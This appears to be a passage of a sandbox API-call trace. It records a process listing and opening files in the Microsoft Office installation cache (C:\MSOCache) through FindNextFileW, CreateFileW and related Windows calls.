[0262.679] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xabf60500, ftCreationTime.dwHighDateTime=0x1cac9ae, ftLastAccessTime.dwLowDateTime=0xabf60500, ftLastAccessTime.dwHighDateTime=0x1cac9ae, ftLastWriteTime.dwLowDateTime=0xe85f73a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x7eda0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dwtrig20.exe", cAlternateFileName="")) returned 1 [0262.679] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8d646800, ftCreationTime.dwHighDateTime=0x1cacc53, ftLastAccessTime.dwLowDateTime=0x8d646800, ftLastAccessTime.dwHighDateTime=0x1cacc53, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x741, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VC90.CRT.manifest", cAlternateFileName="")) returned 1 [0262.679] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8c333b00, ftCreationTime.dwHighDateTime=0x1cacc53, ftLastAccessTime.dwLowDateTime=0x8c333b00, ftLastAccessTime.dwHighDateTime=0x1cacc53, ftLastWriteTime.dwLowDateTime=0xe86b5a80, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xa0200, dwReserved0=0x0, dwReserved1=0x0, cFileName="msvcr90.dll", cAlternateFileName="")) returned 1 [0262.679] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3ba05100, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3ba05100, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe7e3b3f0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd79282, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeLR.cab", cAlternateFileName="")) returned 1 [0262.679] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3cd17e00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3cd17e00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe7c4ba40, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x387e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeMUI.msi", cAlternateFileName="")) returned 1 [0262.679] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe7c27050, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x15b5, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeMUI.xml", cAlternateFileName="")) returned 1 [0262.679] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f33d800, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3f33d800, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe7b68970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd4200, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeMUISet.msi", cAlternateFileName="")) returned 1 [0262.679] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe7b68970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x333, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeMUISet.xml", cAlternateFileName="")) returned 1 [0262.679] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc8b16200, ftCreationTime.dwHighDateTime=0x1cac190, ftLastAccessTime.dwLowDateTime=0xc8b16200, ftLastAccessTime.dwHighDateTime=0x1cac190, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2ed80, dwReserved0=0x0, dwReserved1=0x0, cFileName="osetupui.dll", cAlternateFileName="")) returned 1 [0262.680] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x77cbb000, ftCreationTime.dwHighDateTime=0x1cac57a, ftLastAccessTime.dwLowDateTime=0x77cbb000, ftLastAccessTime.dwHighDateTime=0x1cac57a, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x6a3b, dwReserved0=0x0, dwReserved1=0x0, cFileName="pss10r.chm", cAlternateFileName="")) returned 1 [0262.680] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7cab9f00, ftCreationTime.dwHighDateTime=0x1cac8ad, ftLastAccessTime.dwLowDateTime=0x7cab9f00, ftLastAccessTime.dwHighDateTime=0x1cac8ad, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x10676, dwReserved0=0x0, dwReserved1=0x0, cFileName="setup.chm", cAlternateFileName="")) returned 1 [0262.680] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x42c75f00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x42c75f00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2488, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0262.680] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x131a1c00, ftCreationTime.dwHighDateTime=0x1cacdea, ftLastAccessTime.dwLowDateTime=0x131a1c00, ftLastAccessTime.dwHighDateTime=0x1cacdea, ftLastWriteTime.dwLowDateTime=0xe84c60d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShellUI.MST", cAlternateFileName="")) returned 1 [0262.680] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x131a1c00, ftCreationTime.dwHighDateTime=0x1cacdea, ftLastAccessTime.dwLowDateTime=0x131a1c00, ftLastAccessTime.dwHighDateTime=0x1cacdea, ftLastWriteTime.dwLowDateTime=0xe84c60d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShellUI.MST", cAlternateFileName="")) returned 0 [0262.680] GetLastError () returned 0x12 [0262.680] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x1, lpFindFileData=0x118f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118f20c) returned 0x549080 [0262.680] FindClose (in: hFindFile=0x548f40 | out: hFindFile=0x548f40) returned 1 [0262.680] FindNextFileW (in: hFindFile=0x549080, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b68970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe8729610, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8729610, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0262.681] FindNextFileW (in: hFindFile=0x549080, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8691090, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe8691090, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8691090, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0262.681] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\1033"), fInfoLevelId=0x0, lpFileInformation=0x118f108 | out: lpFileInformation=0x118f108*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8691090, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe8691090, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8691090, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0263.107] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\1033"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x188 [0263.108] SetFileTime (hFile=0x188, lpCreationTime=0x0, lpLastAccessTime=0x118f14c, lpLastWriteTime=0x118f14c) returned 0 [0263.108] DeviceIoControl (in: hDevice=0x188, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x94de90, nOutBufferSize=0x4000, lpBytesReturned=0x118f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x94de90, lpBytesReturned=0x118f1a4, lpOverlapped=0x0) returned 0 [0263.108] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x94de90) returned 1 [0263.108] NtClose (Handle=0x188) returned 0x0 [0263.108] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x94c938) returned 1 [0263.108] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\*", fInfoLevelId=0x1, lpFindFileData=0x118ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118ef54) returned 0x548f40 [0263.109] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118ef54 | out: lpFindFileData=0x118ef54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8691090, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe8691090, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8691090, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0263.109] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118ef54 | out: lpFindFileData=0x118ef54*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6a35700, ftCreationTime.dwHighDateTime=0x1cac9d7, ftLastAccessTime.dwLowDateTime=0x6a35700, ftLastAccessTime.dwHighDateTime=0x1cac9d7, ftLastWriteTime.dwLowDateTime=0xe8691090, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1a588, dwReserved0=0x0, dwReserved1=0x0, cFileName="dwintl20.dll", cAlternateFileName="")) returned 1 [0263.109] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118ef54 | out: lpFindFileData=0x118ef54*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6a35700, ftCreationTime.dwHighDateTime=0x1cac9d7, ftLastAccessTime.dwLowDateTime=0x6a35700, ftLastAccessTime.dwHighDateTime=0x1cac9d7, ftLastWriteTime.dwLowDateTime=0xe8691090, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1a588, dwReserved0=0x0, dwReserved1=0x0, cFileName="dwintl20.dll", cAlternateFileName="")) returned 0 [0263.109] GetLastError () returned 0x12 [0263.109] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\*", fInfoLevelId=0x1, lpFindFileData=0x118ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118ef54) returned 0x549040 [0263.109] FindClose (in: hFindFile=0x548f40 | out: hFindFile=0x548f40) returned 1 [0263.109] FindNextFileW (in: hFindFile=0x549040, lpFindFileData=0x118ef54 | out: lpFindFileData=0x118ef54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8691090, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe8691090, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8691090, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0263.109] FindNextFileW (in: hFindFile=0x549040, lpFindFileData=0x118ef54 | out: lpFindFileData=0x118ef54*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6a35700, ftCreationTime.dwHighDateTime=0x1cac9d7, ftLastAccessTime.dwLowDateTime=0x6a35700, ftLastAccessTime.dwHighDateTime=0x1cac9d7, ftLastWriteTime.dwLowDateTime=0xe8691090, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1a588, dwReserved0=0x0, dwReserved1=0x0, cFileName="dwintl20.dll", cAlternateFileName="")) returned 1 [0263.109] FindNextFileW (in: hFindFile=0x549040, lpFindFileData=0x118ef54 | out: lpFindFileData=0x118ef54*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6a35700, ftCreationTime.dwHighDateTime=0x1cac9d7, ftLastAccessTime.dwLowDateTime=0x6a35700, ftLastAccessTime.dwHighDateTime=0x1cac9d7, ftLastWriteTime.dwLowDateTime=0xe8691090, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1a588, dwReserved0=0x0, dwReserved1=0x0, cFileName="dwintl20.dll", cAlternateFileName="")) returned 0 [0263.109] GetLastError () returned 0x12 [0263.109] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x94ca40) returned 1 [0263.109] FindClose (in: hFindFile=0x549040 | out: hFindFile=0x549040) returned 1 [0263.110] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x944fd8) returned 1 [0263.110] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x94c938) returned 1 [0263.110] FindNextFileW (in: hFindFile=0x549080, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x11e8ef00, ftCreationTime.dwHighDateTime=0x1cacdea, ftLastAccessTime.dwLowDateTime=0x11e8ef00, ftLastAccessTime.dwHighDateTime=0x1cacdea, ftLastWriteTime.dwLowDateTime=0xe84c60d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x91975, dwReserved0=0x0, dwReserved1=0x0, cFileName="branding.xml", cAlternateFileName="")) returned 1 [0263.110] FindNextFileW (in: hFindFile=0x549080, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa26c9d00, ftCreationTime.dwHighDateTime=0x1cac9ae, ftLastAccessTime.dwLowDateTime=0xa26c9d00, ftLastAccessTime.dwHighDateTime=0x1cac9ae, ftLastWriteTime.dwLowDateTime=0xe85142d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xccb88, dwReserved0=0x0, dwReserved1=0x0, cFileName="DW20.EXE", cAlternateFileName="")) returned 1 [0263.110] FindNextFileW (in: hFindFile=0x549080, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xabf60500, ftCreationTime.dwHighDateTime=0x1cac9ae, ftLastAccessTime.dwLowDateTime=0xabf60500, ftLastAccessTime.dwHighDateTime=0x1cac9ae, ftLastWriteTime.dwLowDateTime=0xe85ab8b0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x80760, dwReserved0=0x0, dwReserved1=0x0, cFileName="dwdcw20.dll", cAlternateFileName="")) returned 1 [0263.110] FindNextFileW (in: hFindFile=0x549080, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xabf60500, ftCreationTime.dwHighDateTime=0x1cac9ae, ftLastAccessTime.dwLowDateTime=0xabf60500, ftLastAccessTime.dwHighDateTime=0x1cac9ae, ftLastWriteTime.dwLowDateTime=0xe85f73a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x7eda0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dwtrig20.exe", cAlternateFileName="")) returned 1 [0263.110] FindNextFileW (in: hFindFile=0x549080, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8d646800, ftCreationTime.dwHighDateTime=0x1cacc53, ftLastAccessTime.dwLowDateTime=0x8d646800, ftLastAccessTime.dwHighDateTime=0x1cacc53, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x741, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VC90.CRT.manifest", cAlternateFileName="")) returned 1 [0263.110] FindNextFileW (in: hFindFile=0x549080, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8c333b00, ftCreationTime.dwHighDateTime=0x1cacc53, ftLastAccessTime.dwLowDateTime=0x8c333b00, ftLastAccessTime.dwHighDateTime=0x1cacc53, ftLastWriteTime.dwLowDateTime=0xe86b5a80, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xa0200, dwReserved0=0x0, dwReserved1=0x0, cFileName="msvcr90.dll", cAlternateFileName="")) returned 1 [0263.110] FindNextFileW (in: hFindFile=0x549080, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3ba05100, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3ba05100, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe7e3b3f0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd79282, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeLR.cab", cAlternateFileName="")) returned 1 [0263.110] FindNextFileW (in: hFindFile=0x549080, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3cd17e00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3cd17e00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe7c4ba40, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x387e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeMUI.msi", cAlternateFileName="")) returned 1 [0263.110] FindNextFileW (in: hFindFile=0x549080, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe7c27050, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x15b5, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeMUI.xml", cAlternateFileName="")) returned 1 [0263.110] FindNextFileW (in: hFindFile=0x549080, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f33d800, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3f33d800, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe7b68970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd4200, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeMUISet.msi", cAlternateFileName="")) returned 1 [0263.110] FindNextFileW (in: hFindFile=0x549080, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe7b68970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x333, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeMUISet.xml", cAlternateFileName="")) returned 1 [0263.110] FindNextFileW (in: hFindFile=0x549080, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc8b16200, ftCreationTime.dwHighDateTime=0x1cac190, ftLastAccessTime.dwLowDateTime=0xc8b16200, ftLastAccessTime.dwHighDateTime=0x1cac190, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2ed80, dwReserved0=0x0, dwReserved1=0x0, cFileName="osetupui.dll", cAlternateFileName="")) returned 1 [0263.110] FindNextFileW (in: hFindFile=0x549080, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x77cbb000, ftCreationTime.dwHighDateTime=0x1cac57a, ftLastAccessTime.dwLowDateTime=0x77cbb000, ftLastAccessTime.dwHighDateTime=0x1cac57a, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x6a3b, dwReserved0=0x0, dwReserved1=0x0, cFileName="pss10r.chm", cAlternateFileName="")) returned 1 [0263.110] FindNextFileW (in: hFindFile=0x549080, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7cab9f00, ftCreationTime.dwHighDateTime=0x1cac8ad, ftLastAccessTime.dwLowDateTime=0x7cab9f00, ftLastAccessTime.dwHighDateTime=0x1cac8ad, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x10676, dwReserved0=0x0, dwReserved1=0x0, cFileName="setup.chm", cAlternateFileName="")) returned 1 [0263.110] FindNextFileW (in: hFindFile=0x549080, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x42c75f00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x42c75f00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2488, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0263.110] FindNextFileW (in: hFindFile=0x549080, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x131a1c00, ftCreationTime.dwHighDateTime=0x1cacdea, ftLastAccessTime.dwLowDateTime=0x131a1c00, ftLastAccessTime.dwHighDateTime=0x1cacdea, ftLastWriteTime.dwLowDateTime=0xe84c60d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShellUI.MST", cAlternateFileName="")) returned 1 [0263.110] FindNextFileW (in: hFindFile=0x549080, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x131a1c00, ftCreationTime.dwHighDateTime=0x1cacdea, ftLastAccessTime.dwLowDateTime=0x131a1c00, ftLastAccessTime.dwHighDateTime=0x1cacdea, ftLastWriteTime.dwLowDateTime=0xe84c60d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShellUI.MST", cAlternateFileName="")) returned 0 [0263.110] GetLastError () returned 0x12 [0263.110] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x9499c0) returned 1 [0263.110] FindClose (in: hFindFile=0x549080 | out: hFindFile=0x549080) returned 1 [0263.110] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x9498b8) returned 1 [0263.111] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x9497b0) returned 1 [0263.111] FindNextFileW (in: hFindFile=0x548fc0, lpFindFileData=0x118f4c4 | out: lpFindFileData=0x118f4c4*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfa13c510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc112b50, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc112b50, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0117-0409-1000-0000000FF1CE}-C", cAlternateFileName="")) returned 1 [0263.111] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c"), fInfoLevelId=0x0, lpFileInformation=0x118f3c0 | out: lpFileInformation=0x118f3c0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfa13c510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc112b50, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc112b50, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0263.436] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all 